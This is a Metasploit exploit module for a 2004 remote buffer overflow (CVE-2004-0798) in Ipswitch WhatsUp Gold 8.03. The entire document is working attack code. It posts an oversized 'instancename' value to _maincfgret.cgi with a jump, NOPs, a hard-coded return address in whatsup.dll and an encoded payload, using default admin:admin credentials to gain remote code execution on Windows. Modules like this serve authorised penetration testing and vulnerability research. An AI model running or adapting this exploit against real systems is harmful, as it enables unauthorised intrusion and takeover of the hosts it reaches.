IPSwitch WhatsUp Gold 8.03 – Remote Buffer Overflow (Metasploit)
## # $Id: ipswitch_wug_maincfgret.rb 9820 2010-07-14 13:59:38Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" ) HttpFingerprint = { :pattern => [ /WhatsUp/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By posting a long string for the value of 'instancename' in the _maincfgret.cgi script an attacker can overflow a buffer and execute arbitrary code on the system. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9820 $', 'References' => [ ['CVE', '2004-0798'], ['OSVDB', '9177'], ['BID', '11043'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 25 2004')) register_options( [ Opt::RPORT(80), OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']), OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']), ], self.class ) end def exploit c = connect num = rand(65535).to_s user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}" req = "page=notify&origname=&action=return&type=Beeper&instancename=" req << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06" req << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded req << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end" print_status("Trying target %s..." % target.name) res = send_request_cgi({ 'uri' => '/_maincfgret.cgi', 'method' => 'POST', 'content-type' => 'application/x-www-form-urlencoded', 'data' => req, 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}" } }, 5) handler end end |